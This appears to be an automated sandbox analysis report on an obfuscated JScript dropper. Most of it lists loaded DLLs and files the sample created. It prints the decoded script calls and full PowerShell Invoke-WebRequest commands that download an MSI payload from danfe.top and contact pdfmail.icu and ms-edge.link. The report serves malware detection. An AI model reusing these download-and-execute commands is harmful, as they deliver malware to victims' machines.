Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: tsappcmp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: tsappcmp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.ui.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windowmanagementapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: inputhost.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.ui.immersive.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mshtml.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msiso.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netapi32.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Google Drive.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:

Binary string: C:\ReleaseAI\win\Release\custact\x86\AICustAct.pdb source: Updatee43o.msi.5.dr

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");ITextStream.WriteLine(" entry:1499 f:_0x1c61e9 a0:158");ITextStream.WriteLine(" exit:1499 f:_0x1c61e9 r:%22Scripting.FileSystemObject%22");ITextStream.WriteLine(" entry:1943 f:_0x1c61e9 a0:179");ITextStream.WriteLine(" exit:1943 f:_0x1c61e9 r:%22run%22");ITextStream.WriteLine(" entry:1959 f:_0x1c61e9 a0:178");ITextStream.WriteLine(" exit:1959 f:_0x1c61e9 r:%22http%3A%2F%2Fpdfmail.icu%2Farquivo%2Flista%2F%3F%3D66d1c5cd84e44%22");IWshShell3._00000000();ITextStream.WriteLine(" entry:1939 o: f:run a0:%22http%3A%2F%2Fpdfmail.icu%2Farquivo%2Flista%2F%3F%3D66d1c5cd84e44%22");IWshShell3.Run("http://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44");IWshShell3.ExpandEnvironmentStrings("%ProgramData%");IWshShell3._00000000();ITextStream.WriteLine(" exit:2008 o: f:ExpandEnvironmentStrings r:%22C%3A%5CProgramData%22");ITextStream.WriteLine(" entry:2044 f:_0x1c61e9 a0:174");ITextStream.WriteLine(" exit:2044 f:_0x1c61e9 r:%22floor%22");ITextStream.WriteLine(" entry:2061 f:_0x1c61e9 a0:161");ITextStream.WriteLine(" exit:2061 f:_0x1c61e9 r:%22random%22");ITextStream.WriteLine(" entry:2057 o:%5Bobject%20Math%5D f:random");ITextStream.WriteLine(" exit:2057 o:%5Bobject%20Math%5D f:random r:0.4809919917731683");ITextStream.WriteLine(" entry:2080 f:_0x1c61e9 a0:169");ITextStream.WriteLine(" exit:2080 f:_0x1c61e9 r:%22length%22");ITextStream.WriteLine(" entry:2040 o:%5Bobject%20Math%5D f:floor a0:0.9619839835463366");ITextStream.WriteLine(" exit:2040 o:%5Bobject%20Math%5D f:floor r:0");ITextStream.WriteLine(" entry:2091 f:_0x1c61e9 a0:170");ITextStream.WriteLine(" exit:2091 f:_0x1c61e9 r:%22Update%22");ITextStream.WriteLine(" entry:2111 f:_0x6312fa a0:138");ITextStream.WriteLine(" exit:2111 f:_0x6312fa r:%22random%22");ITextStream.WriteLine(" entry:2107 o:%5Bobject%20Math%5D f:random");ITextStream.WriteLine(" exit:2107 o:%5Bobject%20Math%5D f:random r:0.3920539906806901");ITextStream.WriteLine(" entry:2117 f:_0x1c61e9 a0:172");ITextStream.WriteLine(" exit:2117 f:_0x1c61e9 r:%22toString%22");ITextStream.WriteLine(" entry:2140 f:_0x6312fa a0:195");ITextStream.WriteLine(" exit:2140 f:_0x6312fa r:%22substring%22");ITextStream.WriteLine(" entry:2103 o:%220.e43o5lo6yge2%22 f:substring a0:2 a1:6");ITextStream.WriteLine(" exit:2103 o:%220.e43o5lo6yge2%22 f:substring r:%22e43o%22");ITextStream.WriteLine(" entry:2174 f:_0x1c61e9 a0:157");ITextStream.WriteLine(" exit:2174 f:_0x1c61e9 r:%22.msi%22");ITextStream.WriteLine(" entry:2199 f:_0x6312fa a0:204");ITextStream.WriteLine(" exit:2199 f:_0x6312fa r:%22powershell%22");ITextStream.WriteLine(" entry:2203 f:_0x6312fa a0:205");ITextStream.WriteLine(" exit:2203 f:_0x6312fa r:%22%20-Command%20%22");ITextStream.WriteLine(" entry:2207 f:_0x6312fa a0:176");ITextStream.WriteLine(" exit:2207 f:_0x6312fa r:%22%22Invoke-We%22");ITextStream.WriteLine(" entry:2211 f:_0x6312fa a0:109");ITextStream.WriteLine(" exit:2211 f:_0x6312fa r:%22bRequest%20-%22");ITextStream.WriteLine(" entry:2215 f:_0x6312fa a0:198");ITextStream.WriteLine("

Potential obfuscated javascript found

Source: NF84.js

Initial file: High amount of function use 41

Suspicious powershell command line found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Invoke-WebRequest -Uri https://danfe.top/baixar-aplicativo/?app=Kra.msi -OutFile 'C:\Users\user\AppData\Roaming\Updatee43o.msi'"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Invoke-WebRequest -Uri https://ms-edge.link/contkra/serv.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Invoke-WebRequest -Uri https://danfe.top/baixar-aplicativo/?app=Kra.msi -OutFile 'C:\Users\user\AppData\Roaming\Updatee43o.msi'"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Invoke-WebRequest -Uri https://ms-edge.link/contkra/serv.php"	Jump to behavior

Source: NF84.js

Array : entropy: 5.31, length: 129, content: '?app=Kra.m''DuEPK''ZLaZx''FileSystem''eaDJS''5cd84e44''2178279nqc''\x22Invoke-We''plicativo/''http:

Go to definition

Source: avutil.dll.13.dr	Static PE information: section name: .didata
Source: avutil.dll.13.dr	Static PE information: section name:
Source: avutil.dll.13.dr	Static PE information: section name:
Source: avutil.dll.13.dr	Static PE information: section name:
Source: fec.exe.13.dr	Static PE information: section name: .didata

Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Roaming\Reader\Adobe Acrobat\fec.exe	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI411E.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI41CD.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI418D.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI4090.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Roaming\Reader\Adobe Acrobat\avutil.dll	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI415E.tmp	Jump to dropped file

Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI411E.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI41CD.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI418D.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI4090.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI415E.tmp	Jump to dropped file

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
